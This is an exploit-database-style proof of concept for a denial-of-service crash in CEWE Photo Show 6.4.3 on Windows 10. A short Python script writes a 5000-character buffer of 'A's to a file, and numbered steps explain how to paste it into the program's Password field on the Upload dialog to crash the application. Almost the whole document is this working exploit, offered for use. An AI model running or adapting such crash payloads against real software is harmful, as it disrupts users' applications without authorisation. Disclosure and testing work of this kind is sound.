CEWE Photoshow 6.4.3 - 'Password' Denial of Service (PoC)

# -*- coding: utf-8 -*-
# Exploit Title: CEWE PHOTO SHOW 6.4.3 - Denial of Service (PoC)
# Date: 16/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://cewe-photoworld.com/
# Software: https://cewe-photoworld.com/creator-software/windows-download
# Version: 6.4.3
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script 'photoshow.py', it will create a new file 'photoshow.txt'
# 2.- Copy the text from the generated photoshow.txt file to clipboard
# 3.- Open CEWE PHOTO SHOW
# 4.- Click 'Upload'
# 5.- Paste clipboard in the field 'Password' and crashed

buffer = "\x41" * 5000

f = open ("photoshow.txt", "w")
f.write(buffer)
f.close()